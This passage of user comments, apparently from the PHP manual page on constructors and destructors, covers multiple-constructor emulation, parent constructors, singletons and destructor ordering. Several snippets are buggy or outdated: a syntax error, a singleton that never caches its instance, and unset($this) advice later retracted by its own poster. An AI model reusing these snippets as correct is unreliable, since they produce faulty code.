public function __construct_integer_string($a, $b) {}
public function __construct_string_integer($a, $b) {}
?>
gratcypalma at gmail dot com 19-Nov-2010 11:46
here is my multiple constructor.

<?php
class foo {
    protected $mam = 'mamam';
    function __construct() {
        echo 'foo';
    }
}
class bar extends foo {
    function __construct() {
        parent:: __construct(); // use parent method to call parent class
        echo 'bar';
    }
}
class foobar extends bar {
    function __construct() {
        parent:: __construct();
        echo 'foobar';
    }
}
$show = new foobar();

/* result is foobarfoobar */
?>
rayro at gmx dot de 14-Sep-2010 03:35
the easiest way to use and understand multiple constructors:

<?php
class A
{
    function __construct()
    {
        $a = func_get_args();
        $i = func_num_args();
        if (method_exists($this,$f='__construct'.$i)) {
            call_user_func_array(array($this,$f),$a);
        }
    }

    function __construct1($a1)
    {
        echo('__construct with 1 param called: '.$a1.PHP_EOL);
    }

    function __construct2($a1,$a2)
    {
        echo('__construct with 2 params called: '.$a1.','.$a2.PHP_EOL);
    }

    function __construct3($a1,$a2,$a3)
    {
        echo('__construct with 3 params called: '.$a1.','.$a2.','.$a3.PHP_EOL);
    }
}
$o = new A('sheep');
$o = new A('sheep','cat');
$o = new A('sheep','cat','dog');

// results:
// __construct with 1 param called: sheep
// __construct with 2 params called: sheep,cat
// __construct with 3 params called: sheep,cat,dog
?>
maramirezc WHERE star-dev DOTTED com 21-Jul-2010 02:14
Another way to emulate multiple constructors:

<?php
class MyClass {

   // use a unique id for each derived constructor,
   // and use a null reference to an array,
   // for optional parameters
   function __construct($id="", $args=null) {
       // parent constructor called first ALWAYS
       parent::__construct();

       echo "main constructor\n";

      // avoid null or other types
      $id = (string) $id;

      // allow default constructor
      if ($id == "") {
         $id = "default";
      }

      // just in case, use lowercase id
      $id = "__cons_" .  strtolower($id);

      $rc = new ReflectionClass("MyClass");

      if (!$rc->hasMethod($id) {
         echo "constructor $id not defined\n";
      }
      else {
        // using "method references"
        $this->$id($args);
      }

       $rc = null;
   } // function __construct

   // ALWAYS HAVE A default constructor,
   // that ignores arguments
   function __cons_default($args=null) {
       echo "Default constructor\n";
   }

   // may have other constructors that expect different
   // argument types or argument count
   function __cons_min($args=null) {
     if (! is_array($args) || count($args) != 2) {
       echo "Error: Not enough parameters (Constructor min(int $a, int $b)) !!!\n";
     }
     else {
         $a = (int) $args[0];
         $b = (int) $args[1];
         $c = min($a,$b);
         echo "Constructor min(): Result = $c\n";
     }
   }

   // may use string index (associative array),
   // instead of integer index (standard array)
   function __cons_fullname($args=null) {
     if (! is_array($args) || count($args) < 2) {
       echo "Error: Not enough parameters (Constructor fullname(string $firstname, string $lastname)) !!!\n";
     }
     else {
         $a = (string) $args["firstname"];
         $b = (string) $args["lastname"];
         $c = $a . " " . $b;
         echo "Constructor fullname(): Result = $c\n";
     }
   }

} // class

// --> these two lines are the equivalent
$obj1 = new TestClass();
$obj2 = new TestClass("default");

// --> these two are specialized

// should be read as "$obj3 = new TestClass, min(99.7, 99.83);"
$obj3 = new TestClass("min", array(99.7, 99.83));

// should be read as "$obj4 = new TestClass, fullname("John", "Doe");"
$obj4 = new TestClass("fullname", array("firstname" => "John", "lastname" => "Doe"));

// --> these  two lack parameters
$obj5 = new TestClass("min", array());
$obj6 = new TestClass("fullname");

?>
alon dot peer at gmail dot com 20-Jun-2010 02:39
Another way to overcome PHP's lack of multi constructors support is to check for the constructor's parameters' type and variate the operation accordingly. This works well when the number of parameters stays the same in all your constructors' needs.

Example:

<?php

class Articles {

    private $_articles_array;

    public function __construct($input) {
        if (is_array($input)) {
            // Initialize articles array with input.
        }
        else if ($input instanceof SimpleXMLElement) {
            // Initialize articles array by parsing the XML.
        }
        else {
            throw new Exception('Wrong input type');
        }
    }

}

?>
Anonymous 10-Jun-2010 04:50
Be careful when using a class as reference or copy in another one in regard of the __destruct() method:

<?php
class MyMainClass {
    private $tables = array();
    public function __construct() {
        echo "Create ",get_class($this), " Object!<br>";
    }
    public function __destruct() {
        echo "Destroy ",get_class($this)," Object!<br>";
    }
    public function &getSubClass($name) {
        if(!isset($this->tables[$name])) {
            # This will result in NOT calling the __destruct() method when
            # unsetting an objct of MyMainClass
            $this->tables[$name] = new MySubClass($this, $name);
            # If you clone the class (for testing) it will work as expected
            // $this->tables[$name] = new MySubClass(clone $this, $name);
        }
        return $this->tables[$name];
    }
}

class MySubClass {
    private $name = null;
    private $main_class = null;
    public function __construct(MyMainClass &$main_class, $name) {
        echo "Create ",get_class($this), " '$name' Object!<br>";
        $this->name = $name;
        $this->main_class = $main_class;
    }
    public function __destruct() {
        echo "Destroy ",get_class($this)," '$this->name' Object!<br>";
    }
}

$my = new MyMainClass($logger);
$my->getSubClass('bar');
$my->getSubClass('foo');
unset($my);
echo "_____End of skript reached!_____<br>";
?>

This will result in:

Create MyMainClass Object!
Create MySubClass 'bar' Object!
Create MySubClass 'foo' Object!
_____End of Skript reached!_____
Destroy MyMainClass Object!
Destroy MySubClass 'bar' Object!
Destroy MySubClass 'foo' Object!
Anonymous 14-Apr-2010 11:07
If you are not aware of the parameter list, you could use the following in __construct to call up the chain:

<?php
$args = func_get_args();
call_user_func_array(array($this, 'parent::__construct'), $args);
?>
thomasrutter 27-Feb-2010 03:20
The manual page says that throwing an exception from a destructor causes a fatal error;  I've found that this only happens when the exception is _uncaught_ within the context of that destructor.  If you catch it within that same destructor it seems to be fine.

This is equally true of other contexts, such as:
- shutdown functions set with register_shutdown_function
- destructors
- custom session close functions
- custom error handlers
- perhaps other similar contexts

An exception normally 'bubbles up' to higher and higher contexts until it is caught, but because a destructor or shutdown function is called not within execution flow but in response to a special PHP event, the exception is unable to be traced back any further than the destructor or shutdown function in which it is called.
Jonathon Hibbard 09-Jan-2010 04:32
Please be aware of when using __destruct() in which you are unsetting variables...

Consider the following code:
<?php
class my_class {
  public $error_reporting = false;

  function __construct($error_reporting = false) {
    $this->error_reporting = $error_reporting;
  }

  function __destruct() {
    if($this->error_reporting === true) $this->show_report();
    unset($this->error_reporting);
  }
?>

The above will result in an error:
Notice: Undefined property: my_class::$error_reporting in my_class.php on line 10

It appears as though the variable will be unset BEFORE it actually can execute the if statement.  Removing the unset will fix this.  It's not needed anyways as PHP will release everything anyways, but just in case you run across this, you know why ;)
jon at fatcatsoftware dot net 03-Dec-2009 01:33
I'm not sure why this was happening, but I had an instance were the __destruct was being called BEFORE my __construct in a certain class.

I'm using a Factory Class where I would call this statement to grab the class:
<?php
public static function &getBookingSession()
    {
        static $instance =null;

        if (is_null($instance))
        {
            //requiring the class file
            require_once 'bookingSession.php';

            //request the instance
            $instance = new bookingSession();
        }

        return $instance;
    }
?>

The __destruct was actually being called each time I grabbed this class with

<?php $session =& Factory::getBookingSession(); ?>

Only after the destruct ran once or twice the construct would run. Obviously causing some major problems.

MY SOLUTION: was to call the register shutdown function in my fake session construct, like so:

<?php
class bookingSession {

function __construct(){
        $session =& Factory::getSession();
        $this->setProperties( unserialize(base64_decode( $session->get('bookingSession') )) );
        $this->setProperties(JRequest::get('post'));

        register_shutdown_function(array($this,"destruct"));
    }

 */
    function destruct() {
        $session =& JFactory::getSession();
        $session->set( 'bookingSession', base64_encode (serialize ($this)) );
    }
}
?>
ruggie0 at yahoo dot com 11-Oct-2009 04:13
For those who still ***have*** to deal with php4 (like myself, which sucks), contact at tcknetwork dot com noted below that you can have both __constructor and function [classname] in the script, as __constructor has priority.

However, to further improve compatability, do a version check in function [classname], as I do in my classes as follows:
<?php
   class Foo{
      function __construct($arg){
         echo $arg;
      }

      function Foo($arg){
         if(version_compare(PHP_VERSION,"5.0.0","<")){
            $this->__construct($arg);
            register_shutdown_function(array($this,"__destruct"));
         }
      }

      function __destruct(){
         echo "Ack! I'm being destroyed!";
      }
   }
?>

This makes it much easier to use your script with fewer compatibility issues.
enrico dot modanese at alpj dot com 23-Aug-2009 07:05
It's usefull to note that parent::__construct() is executed like a standalone function called into the new one, and not like a first part of the code. So "return" or "die()" don't have effect on following code. If you want to avoid the execution of the child constructor you have to pass some condition from the parent. Example:

<?php
class X {
  function X(){
    if($_POST['break']=='yes'){return;}
    }
  }

class Y extends X{
  function Y(){
    parent::__construct();
    print("Y_constructor_finished");
    }
  }

$_POST['break']=='yes';
$new_Y=new Y();  // will print "Y_constructor_finished"

Solution:

class X {
  function X(){
    if($_POST['break']=='yes'){$this->break='yes';return;}
    }
  }

class Y extends X{
  function Y(){
    parent::__construct();
    if($this->break=='yes'){return;}
    print("Y_constructor_finished");
    }
  }

$_POST['break']='yes';
$new_Y=new Y();  // will print nothing
?>
ramesh dot rips at gmail dot com 26-Jun-2009 06:49
Without __constructor constructor will call like this.
Why because, Here Class name and function name are equal.
<?php
class baseclass
{
  function baseclass()
  {
    echo "constructor is called"."<br>" ;
   }
 }
 class deriviedclass extends baseclass
 {
   function deriviedclass()
   {
       parent::baseclass();
     }
  }

 $object_base=new baseclass();
 $object_derive=new deriviedclass();
?>
Out put is
constructor is called
constructor is called
hyponiq at gmail dot com 20-May-2009 06:43
I just thought I'd share some valuable information that might help novice programmers/scripters in __constructor() functions.

I've been using PHP for quite a long time, as well as programming and scripting in general.  Even with my quite seasoned skillset, I still make obvious, painstaking mistakes.  That said, I'd like to point out one major (albeit obvious) common mistake that programmers and scripters (such as myself) make.

When defining the constructor for an object and using it to populate variables for use throughout the lifetime of the application, do note that if you set a static variable AFTER a dynamic one, the static variable's (intended) contents are not readible inside the assigning functions of a dynamic variable.  (That sounded rather cryptic, so an example is in order...)

<?php
class ExampleClass
{
    // assigned a static value using an expression in the constructor
    public $myStaticVar;

    // assigned a value through a function of the class
    public $myDynamicVar;

    public function __construct($myStaticVarValue)
    {
        // sets to nothing; $this->myStaticVar hasn't been assigned to yet
        $this->myDynamicVar = $this->setSomeValue();

        // sets to 'Static Variable Value in this example
        $this->myStaticVar = $myStaticVarValue;
    }

    public function setSomeValue()
    {
        // returns null; $this->myStaticVar hasn't been assigned to, yet
        return $this->myStaticVar;
    }
}

// automatically sets $object->myStaticVar to 'Static Variable Value'
//(but only after setting $object->myDynamicVar to the unassigned $object->myStaticVar)
$object = new ExampleClass('Static Variable Value');

// outputs nothing
print $object->myDynamicVar;
?>

The above example won't print anything because you're setting the $myDynamicVar to equal the $myStaticVar, but the $myStaticVar hasn't been (technically) assigned to, yet.

So, if you wish to reference that variable inside the assignment function of a dynamic variable, you have to declare it first and foremost.  Otherwise, its value will not be accessible yet.

The correct way...
<?php
class ExampleClass
{
    // assigned a static value using an expression in the constructor
    public $myStaticVar;

    // assigned a value through a function of the class
    public $myDynamicVar;

    public function __construct($myStaticVarValue)
    {
        // sets to $myStaticVariable (or 'Some Static Variable Value' in this example)
        $this->myStaticVar = $myStaticVarValue;

        // sets to newly assigned-to $this->myStaticVariable
        $this->myDynamicVar = $this->setSomeValue();
    }

    public function setSomeValue()
    {
        // returns 'Static Variable Value'
        return $this->myStaticVar;
    }
}

// sets $object->myStaticVar to 'Static Variable Value' automatically before $object->myDynamicVar
$object = new ExampleClass('Static Variable Value');

// outputs 'Static Variable Value'
print $object->myDynamicVar;
?>
ceo at l-i-e dot com 07-May-2009 10:38
As far as I can tell, Connection: close isn't sent until after __destruct is called in shutdown sequence.
I was hoping to get the HTTP connection closed and done, and do some slow non-output processing after that, but no luck.
bac2day1 at gmail dot com 29-Jan-2009 10:26
You can also capitalize on singleton for the connection as well.
Just add the following to your class:

<?php
class db {
  //...
  private static $instance;
  //...
  public static function singleton() {
    if(!isset(self::$instance)) {
      $c = __CLASS__;
      self::$instance = new $c();
    }
    return self::$instance;
  }
  //...
}
?>
spleen 17-Oct-2008 04:35
It's always the easy things that get you -

Being new to OOP, it took me quite a while to figure out that there are TWO underscores in front of the word __construct.

It is __construct
Not _construct

Extremely obvious once you figure it out, but it can be sooo frustrating until you do.

I spent quite a bit of needless time debugging working code.

I even thought about it a few times, thinking it looked a little long in the examples, but at the time that just seemed silly(always thinking "oh somebody would have made that clear if it weren't just a regular underscore...")

All the manuals I looked at, all the tuturials I read, all the examples I browsed through  - not once did anybody mention this!

(please don't tell me it's explained somewhere on this page and I just missed it,  you'll only add to my pain.)

I hope this helps somebody else!
office at kitsoftware dot ro 14-Oct-2008 07:01
Should be noted that according to the NEWS (in PHP 5.3) file, in PHP 5.3, handling an exception in the __destructor should not output a FATAL error ...
Jeffrey 09-Oct-2008 02:04
Constructor Simplicity

If your class DOES CONTAIN instance members (variables) that need to be set, then your class needs to be initialized... and you should use __construct() to do that.

<?php
class MyClassA {
  public $data1, $data2;

  public function __construct($mcd1, $mcd2) {
    $this->data1 = $mcd1;  // INITIALIZE $data1
    $this->data2 = $mcd2;  // INITIALIZE $data2
  }
}

$obj1 = new MyClassA("Hello", "World!");  // INSTANTIATE MyClassA
$d1 = $obj1->data1;
$d2 = $obj1->data2;
?>

If your class DOES NOT CONTAIN instance members or you DO NOT want to instantiate it, then there is no reason to initialize it or use __construct().

<?php
class MyClassB {
  const DATA1 = "Hello";
  public static $data2 = "World!";
}

$obj1 = new MyClassB();  // INSTANTIATE MyClassB - NO error.
$d1 = $obj1::DATA1;      // ERROR
$d2 = $obj1::data2;      // ERROR
$d1 = MyClassB::DATA1;   // ok
$d2 = MyClassB::$data2;  // ok
?>

The fact that $obj1 is useless and cannot be used as a reference, is further evidence that MyClassB objects should not be instantiated. NOTICE that MyClassB does not use private members or functions to make it behave that way. Rather, it is the collective nature of all the class members + what ISN'T there.
Anonymous 09-Sep-2008 05:42
USE PARENT::CONSTRUCT() to exploit POLYMORPHISM POWERS

Since we are still in the __construct and __destruct section, alot of emphasis has been on __destruct - which I know nothing about. But I would like to show the power of parent::__construct for use with PHP's OOP polymorphic behavior (you'll see what this is very quickly).

In my example, I have created a fairly robust base class that does everything that all subclasses need to do. Here's the base class def.

<?php

/*
 * Animal.php
 *
 * This class holds all data, and defines all functions that all
 * subclass extensions need to use.
 *
 */
abstract class Animal
{
  public $type;
  public $name;
  public $sound;

  /*
   * called by Dog, Cat, Bird, etc.
   */
  public function __construct($aType, $aName, $aSound)
  {
    $this->type = $aType;
    $this->name = $aName;
    $this->sound = $aSound;
  }

  /*
   * define the sorting rules - we will sort all Animals by name.
   */
  public static function compare($a, $b)
  {
    if($a->name < $b->name) return -1;
    else if($a->name == $b->name) return 0;
    else return 1;
  }

  /*
   * a String representation for all Animals.
   */
  public function __toString()
  {
    return "$this->name the $this->type goes $this->sound";
  }
}

?>

Trying to instantiate an object of type Animal will not work...

$myPet = new Animal("Parrot", "Captain Jack", "Kaaawww!"); // throws Fatal Error: cannot instantiate abstract class Animal.

Declaring Animal as abstract is like killing two birds with one stone. 1. We stop it from being instantiated - which means we do not need a private __construct() or a static getInstance() method, and 2. We can use it for polymorphic behavior. In our case here, that means "__construct", "__toString" and "compare" will be called for all subclasses of Animal that have not defined their own implementations.

The following subclasses use parent::__construct(), which sends all new data to Animal. Our Animal class stores this data and defines functions for polymorphism to work... and the best part is, it keeps our subclass defs super short and even sweeter.

<?php

class Dog extends Animal{
  public function __construct($name){
    parent::__construct("Dog", $name, "woof!");
  }
}

class Cat extends Animal{
  public function __construct($name){
    parent::__construct("Cat", $name, "meeoow!");
  }
}

class Bird extends Animal{
  public function __construct($name){
    parent::__construct("Bird", $name, "chirp chirp!!");
  }
}

# create a PHP Array and initialize it with Animal objects
$animals = array(
  new Dog("Fido"),
  new Bird("Celeste"),
  new Cat("Pussy"),
  new Dog("Brad"),
  new Bird("Kiki"),
  new Cat("Abraham"),
  new Dog("Jawbone")
);

# sort $animals with PHP's usort - calls Animal::compare() many many times.
usort($animals, array("Animal", "compare"));

# print out the sorted results - calls Animal->__toString().
foreach($animals as $animal) echo "$animal<br>\n";

?>

The results are "sorted by name" and "printed" by the Animal class:

Abraham the Cat goes meeoow!
Brad the Dog goes woof!
Celeste the Bird goes chirp chirp!!
Fido the Dog goes woof!
Jawbone the Dog goes woof!
Kiki the Bird goes chirp chirp!!
Pussy the Cat goes meeoow!

Using parent::__construct() in a subclass and a super smart base class, gives your child objects a headstart in life, by alleviating them from having to define or handle several error and exception routines that they have no control over.

Notice how subclass definitions are really short - no variables or functions at all, and there is no private __construct() method anywhere? Notice how objects of type Dog, Cat, and Bird are all sorted by our base class Animal? All the class definitions above address several issues (keeping objects from being instantiated) and enforces the desired, consistent, and reliable behavior everytime... with the least amount of code. In addition, new extenstions can easily be created. Each subclass is now super easy to redefine or even extend... now that you can see a way to do it.
KK 16-May-2008 01:57
I ran into an interesting (and subtle) code error while porting some code to PHP 5.2.5 from PHP 4.4.8 that I think illustrates a noteworthy semantic.

I have a hierarchy of classes with both styles of constructors but where one in the middle was missing the __construct() function (it just had the old-style one that called the (nonexistent) __construct()).  It worked fine in PHP4 but caused an endless loop (and stack overflow) in PHP5.  I believe what happened is that in PHP4 the old-style constructor was not called, but in PHP5 it was (due to the "emulation" of PHP4), and since _construct() wasn't defined for that class, the call to $this->__construct() caused a looping call to the original (lowest child) constructor.
bolshun at mail dot ru 16-Apr-2008 06:13
Ensuring that instance of some class will be available in destructor of some other class is easy: just keep a reference to that instance in this other class.
ashnazg at php dot net 12-Apr-2008 10:26
Since my last note, I've been instructed to _NEVER_ call "unset($this)", never ever ever.  Since my previous testing of behavior did not explicitly show me that it was indeed necessary, I'm inclined to trust those telling me not to do it.
ashnazg at php dot net 28-Feb-2008 02:39
While experimenting with destructs and unsets in relation to memory usage, I found what seems to be one useful way to predict when __destruct() gets called... call it manually yourself.

I had previously assumed that explicitly calling unset($foo) would cause $foo->__destruct() to run implicitly, but that was not the behavior I saw (php 5.2.5).  The destructors weren't running until the script ended, even though I was calling unset($foo) in the middle of my script.  So, having $foo->__destruct() unset all of $foo's component objects was not helping my memory usage since my explicit unset($foo) was _not_ triggering $foo->__destruct()'s cleanup steps.

Interestingly, what _did_ appear to happen is that calling unset($bar) from inside a destructor like $foo->__destruct() _DID_ cause $bar->__destruct() to be implicitly executed.  Perhaps this is because $bar has a "parent" reference of $foo whereas $foo does not, and the object destruction behaves differently... I don't know.

Lastly, even after explicitly calling $foo->__destruct() (even when it had "unset($this);" inside it), the reference to the $foo object remained visible.  I had to still explicitly call unset($foo) to get rid of it.

So, my advice based on the behavior I saw in my experiments:
- always unset($bar) your class's component objects from inside that class's __destruct() method;  no explicit component destructor calls seem to be required other than those unsets, though.
- always explicitly call $foo->__destruct() in your code that _uses_ your class
- always explicitly follow $foo->__destruct() with unset($foo).

This seems to be the best cleanup approach to take.  Just for my own sanity, I also will always keep an unset($this) at the end of each __destruct() method.
nerdystudmuffin at gmail dot com 09-Jan-2008 11:11
Correction to the previous poster about non public constructors. If I wanted to implement Singleton design pattern where I would only want one instance of the class I would want to prevent instantiation of the class from outside of the class by making the constructor private. An example follows:

class Foo {

  private static $instance;

  private __construct() {
    // Do stuff
  }

  public static getInstance() {

    if (!isset(self::$instance)) {
      $c = __CLASS__;
      $instance = new $c;
    }

    return self::$instance;
  }

  public function sayHello() {
    echo "Hello World!!";
  }

}

$bar = Foo::getInstance();

// Prints 'Hello World' on the screen.
$bar -> sayHello();
david at synatree dot com 29-Dec-2007 01:26
When a script is in the process of die()ing, you can't count on the order in which __destruct() will be called.

For a script I have been working on, I wanted to do transparent low-level encryption of any outgoing data.  To accomplish this, I used a global singleton class configured like this:

class EncryptedComms
{
    private $C;
    private $objs = array();
    private static $_me;

    public static function destroyAfter(&$obj)
    {
        self::getInstance()->objs[] =& $obj;
        /*
            Hopefully by forcing a reference to another object to exist
            inside this class, the referenced object will need to be destroyed
            before garbage collection can occur on this object.  This will force
            this object's destruct method to be fired AFTER the destructors of
            all the objects referenced here.
        */
    }
    public function __construct($key)
    {
            $this->C = new SimpleCrypt($key);
            ob_start(array($this,'getBuffer'));
    }
    public static function &getInstance($key=NULL)
    {
        if(!self::$_me && $key)
            self::$_me = new EncryptedComms($key);
        else
            return self::$_me;
    }

    public function __destruct()
    {
        ob_end_flush();
    }

    public function getBuffer($str)
    {
        return $this->C->encrypt($str);
    }

}

In this example, I tried to register other objects to always be destroyed just before this object.  Like this:

class A
{

public function __construct()
{
     EncryptedComms::destroyAfter($this);
}
}

One would think that the references to the objects contained in the singleton would be destroyed first, but this is not the case.  In fact, this won't work even if you reverse the paradigm and store a reference to EncryptedComms in every object you'd like to be destroyed before it.

In short, when a script die()s, there doesn't seem to be any way to predict the order in which the destructors will fire.
Typer85 at gmail dot com 21-Dec-2007 09:33
I mentioned in my post below this one that the solution is not perfect and has some flaws.

Because my note was too big and was not allowed to be submitted, I had to write a new note here containing the flaws. If an editor sees this, please combine both notes to allow for easier reading.

- This solution assumes that Class B and Class C extend or build upon Class AAbstract. If Class B or Class C extend from each other or from Class A, the original problem will be encountered again.

- There will be extra overhead in including an extra file ... the dummy Class AAbstract.
Typer85 at gmail dot com 21-Dec-2007 09:31
In regards to a Class Constructor visibility ...

I too was having the same problem with Class Constructor visibility, in which I had one Class that was extended by several other Classes. The problem that I encountered was in one of the Child Classes, I wanted a weaker visibility. Consider the following example:

<?php

class A {

    // Public Constructor ...
    // No Problems Here.

    public function __construct( ) {

    }

    // Class Function.

    public function functionA( ) {

    }
}

class B extends A {

    // Public Constructor ...
    // Same As Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

    }

    // Class Function.

    public function functionB( ) {

    }
}

class C extends A {

    // Private Constructor ...
    // Weaker Then Parent Class ...
    // PHP Will Throw A Fatal Error.

    private function __construct( ) {

    }

    // Class Function.

    public function functionC( ) {

    }
}

?>

Nothing new in the above example that we have not seen before. My solution to solve this problem?

Create an Abstract Class with all the functionality of Class A.  Make its Class Constructor have a visibility of Protected, then extend each of the three Classes above from that Abstract Class. In a way, the Abstract Class acts as a dummy Class to get rid of the visibility problem:

<?php

abstract class AAbstract {

    // Protected Constructor ...
    // Abstract Class Can Not Be Created Anyway ...
    // No Problems Here.

    protected function __construct( ) {

    }

    // Class Function ...
    // Originally In Class A ...
    // Which Was Used As A Super Class.

    public function functionA( ) {

    }
}

class A extends AAbstract {

    // Public Constructor ...
    // Stronger Than Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

        // By Moving All The Functionality Of
        // Class A To Class AAbstract Class A
        // Will Automatically Inherit All Of
        // Its Functionality. The Only Thing
        // Left To Do Is To Create A Constructor
        // Which Calls Class AABstract's Constructor
        // To Mimic Similar Behavior.

        parent::__construct( );
    }

    // No Need To Redeclare functionA( )
    // Since It Was Moved To Class
    // AAbstract.
}

class B extends AAbstract  {

    // Public Constructor ...
    // Stronger Than Parent Class ...
    // Again No Problems Here.

    public function __construct( ) {

        parent::__construct( );
    }

    // Class Function ...
    // Specific To This Class.

    public function functionB( ) {

    }
}

class C extends AAbstract {

    // Protected Constructor ...
    // Same As Parent Class ...
    // Again No Problems Here.

    protected function __construct( ) {

    }

    // Class Function ...
    // Specific To This Class.

    public function functionC( ) {

    }
}

?>

As you can see the problem is more or less fixed. Class AAbstract acts a dummy class, containing all the original functionality of Class A. But because it has a protected Constructor, in order to make its functionality available, Class A is redeclared as Child Class with the only difference of it having a public Constructor that automatically calls the Parent Constructor.

Notice that Class B does not extend from Class A but also from Class AAbstract! If I wanted to change Class B's Constructor to protected, I can easily do it! Notice that an extra Method was added to Class B ... this is because Class B has extra functionality specific to itself. Same applies to Class C.

Why don't Class B and Class C extend from Class A? Because Class A has a public Constructor, which pretty much defies the point of this solution.

This solution is not perfect however and has some flaws.

Good Luck,
randallgirard at hotmail dot com 26-Oct-2007 10:17
I've been working on a project for a while now, and for example in my DB handler I wanted to load var's to the objects late; However, without doing it manually on the object itself but through a single static call. For other reasons, in my Sessions I then wanted to end them early without registering a shutdown routine for every possible session. Hence, I needed a way to track EVERY instance or object of the class.

(Of course in a normal website design, this would be overly coded. It's more of a framework for a CMS, Daemon service, anything I wanna create etc...)

<?php

class example {

    public static $OBJS = array();
    public $id;

    public function __construct() {
        example::$OBJS[] = $this;
    # I actually use a 'lastKey' routine here, but in this example the following should work:
        $this->id = key( array_slice(example::$OBJS, count(example::$OBJS) -1, 1, true) );
    }

    public function __destruct() {
        $this->close();
    }

# unset the tracked object
    private function destruct() {
        if ( isset(example::$OBJS[$this->id]) )
            unset(example::$OBJS[$this->id]);
    }

# public shutdown routine
    public function close() {
        if ( isset($this->destructed) )
            return;
    # ...
        $this->destruct();
        $this->destructed = true;
    }

}

?>

You could then also use register_shutdown_function(...) to call a static class method, which loops through ALL the objects and calls the $obj->close routine.

<?php

# register a shutdown function which triggers before destructors (hence when such results are desired for a Session class, etc)
    register_shutdown_function("example::destructors");

class example {

    # ... see above code example

# static class method to destruct all objects
    public static function destructors() {
        foreach ( example::$OBJS as $obj )
            $obj->destruct();
    }

}

This will probably give some people new ideas, and other will probably be confused. Happy coding...

NOTE: I didn't test the code(s) above. They were a rewritten example from my frameworks.

?>
James Laver 25-Oct-2007 02:45
I recently found, while implementing a database backed session class, that PHP has an apparently less than desirably structured destruction order. Basically, my session class which would have saved when destructed, was being destructed after one of the classes it depends on. Apparently we cannot, therefore depend on PHP to use reverse initialisation order.

My solution was to use register_shutdown_function, which is called before any objects are killed on script end.

Quick example (if you're going to use it, I recommend tidying up the code somewhat) :
<?php
class Session
  function __construct()
  {
    //Initialise the session here...

    //Register the shutdown function
    register_shutdown_function(array($this,"save"));
  }

  function save()
  {
    //Save it here
  }

  function __destruct()
  {
    //Persisting the session here will not work.
  }
?>
magus do t xion a t g mail d ot c o m 11-Oct-2007 12:20
Looking through the notes I noticed a few people expressing concern that PHP5 does not support multiple constructors...

Here is an example of a method that I use which seems to work fine:

class Example
{
     function __construct()
     {
           echo "do some basic stuff here";
     }

     function Example($arg)
     {
           echo $arg;
     }
}

You then can call with or without arguments without having notices and/or warnings thrown at you... Of course this is limited but if you don't need something complex this can help to get the job done in some situations.  I believe you could also add arguments to the __construct() function and as long as it is different than Example() 's args you would be fine. Although I have yet to test this.
prieler at abm dot at 27-Jul-2007 12:42
i have written a quick example about the order of destructors and shutdown functions in php 5.2.1:

<?php
class destruction {
    var $name;

    function destruction($name) {
        $this->name = $name;
        register_shutdown_function(array(&$this, "shutdown"));
    }

    function shutdown() {
        echo 'shutdown: '.$this->name."\n";
    }

    function __destruct() {
        echo 'destruct: '.$this->name."\n";
    }
}

$a = new destruction('a: global 1');

function test() {
    $b = new destruction('b: func 1');
    $c = new destruction('c: func 2');
}
test();

$d = new destruction('d: global 2');

?>

this will output:
shutdown: a: global 1
shutdown: b: func 1
shutdown: c: func 2
shutdown: d: global 2
destruct: b: func 1
destruct: c: func 2
destruct: d: global 2
destruct: a: global 1

conclusions:
destructors are always called on script end.
destructors are called in order of their "context": first functions, then global objects
objects in function context are deleted in order as they are set (older objects first).
objects in global context are deleted in reverse order (older objects last)

shutdown functions are called before the destructors.
shutdown functions are called in there "register" order. ;)

regards, J
fredrik at rambris dot com 16-Jul-2007 06:59
The fact that class names are case-insensitive in PHP5 also applies to constructors. Make sure you don't have any functions named like the class *at all*.

This has bitten me a few times.

<?php
class Example extends Base
{
  function example()
  {
    echo "This gets called";
  }
}

class Base
{
  function __construct()
  {
    echo "Not this";
  }
}

?>
theubaz at gmail dot com 11-Jul-2007 04:35
What you could do is write the constructor without any declared arguments, then iterate through the arguments given and check their types/values to determine what other function to use as the constructor.
soapthgr8 at gmail dot com 06-Jul-2007 07:46
This is just to clarify that the Singleton pattern is a bit more complex than just making the constructor private. It also involves caching an instance of the object and always returning the cached value. So, in the previous example, the getNewInstance() function would undermine the intent of the Singleton pattern. Instead you would just need a getInstance() function, like so.

<?php
class A {
  // cached instance
  private static oInst = null;

  /**
    * Prevent an object from being constructed.
    */
  private function __construct( ) {}
  /**
   * Function to return the instance of this class.
   */
  public static function getInstance( ) {
    if (is_null(self::$oInst)) {
      self::$oInst = new A( );
    }
    return self::$oInst;
  }
}
?>
Typer85 at gmail dot com 03-Jun-2007 07:16
I am not sure if the following is known or not, but here goes.

I am sure most are aware of the concept of making a Class Constructor private to prevent an Object of that Class from being created as follows:

<?php

class A
{
    /**
     * Prevent An Object From Being Constructed.
     */
    private function __construct( ) {

    }
}

?>

In some code, if I try to do the following:

<?php

$Obj = new A( );

?>

PHP will fail with a fatal error. This is useful when creating Classes that are composed of only static functions or in a more advanced example, when applying the Singleton Pattern to a Class design.

However what is not properly documented in this manual but is pretty simple to note, especially if you read the notes regarding the Singleton Pattern, is that you can create an Object of a Class that has a private Constructor from within the Class itself.

Confused ... so am I, so allow me to provide a visual example as follows:

<?php

class A
{
    /**
     * Prevent An Object From Being Constructed.
     */
    private function __construct( ) {

    }
    /**
     * Function To Return An Instance Of This Class.
     */
    public static function getNewInstance( ) {

        return new A( );
    }
}

?>

In some code, if I try to do the following:

<?php

$Obj = A::getNewInstance( );

?>

PHP in this case will not fail with a fatal error and instead the variable '$Obj' becomes an Object with an instance of Class 'A'.

This is a simple example and pretty advanced things can be done using this method. I am sure advanced developers are aware of this so this is just a little note going out to new PHP developers.
Peter Molnar 17-May-2007 08:32
The manual says: "Destructor is called during the script shutdown so headers are always already sent."

This is obviously not true. If you instantiate a class in a function or class method, but it is not returned by the method, nor is it saved in a global or object member variable, the object is cleaned up, and it's destructor is called. This can of course occur before anything is printed or sent to the client.
frederic dot barboteu at laposte dot net 14-Apr-2007 07:11
The manual says:
"Like constructors, parent destructors will not be called implicitly by the engine."

This is true ONLY when a __destruct() function has been defined by the child class.
If no __destruct() function exists in the child class, the parent's one will be implicitly executed.

So be carefull if you have some ancestor executing a particular task in its __destruct() function, an you plan its childs to execute it or not, wether you include "parent::__destruct()" or not.
If you want the child not to execute its parent __destruct() function, you must ensure that it has its own __destruct() function, even if empty. Then the parent's one will not be executed.

This can be verified with the following code:
<?php
#
class AncestorClass {
    function __destruct() {
        echo '<br />AncestorClass: destructing '.get_class($this);
    }
}
#
class ParentDestructClass extends AncestorClass {
    function __destruct() {
